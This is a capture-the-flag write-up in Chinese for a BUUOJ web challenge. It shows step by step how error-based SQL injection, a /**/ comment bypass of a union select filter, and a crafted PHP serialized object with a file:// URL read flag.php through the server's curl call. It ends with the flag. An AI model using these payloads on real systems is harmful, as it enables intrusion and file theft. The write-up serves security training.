题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,看到登录注册界面,点击注册,注册一个新用户
第二步:点击个人信息界面的username超链接,看到刚刚填写的blog信息被加载出来,猜想填写flag.php就可以获取到flag
第三步:获取flag.php
在url上的参数no上添加’获取到路径/var/www/html/db.php,猜测flag位于/var/www/html/flag.php
第四步:注册新用户,blog填写flag.php,发现flag关键字被拦截
第五步:转化思路在no参数上进行sql注入
- 使用报错注入extractvalue获取到数据库名:fakebook,表名:users,以及字段名:no,username,passwd,data,USER,CUR
- 查看data数据看到序列化内容,猜想通过union select查询时将data参数中blog修改为flag.php来绕过waf查看flag,注:union select查询时如果查询的数据没有在数据库中会自动添加进去。
第六步:获取序列化文件
- 使用dirsearch扫描查看到robots.txt
- 访问robots.txt获取到user.php.bak
- 查看user.php获取到类构建方式
- 通过user.php.bak了解到blog加载方式时使用curl,curl支持http以及file,可以通过file://xxx来查看flag.php
- 自定义类,获取包含flag.php的序列化内容:
<?php
class UserInfo
{
public $name = "qwe";
public $age = 123;
public $blog = "file:///var/www/html/flag.php";
}
$a = serialize(new UserInfo);
echo $a
?>
结果:
O:8:"UserInfo":3:{s:4:"name";s:3:"qwe";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
第七步:使用union select获取flag
经测试:union select被过滤,需要使用/**/union/**/select
来绕过
具体语句:?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"qwe";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
,在iframe标签中获取到flag的base64编码,解码得:flag{f3f66058-70fb-4514-9018-95ff4f83f3b0}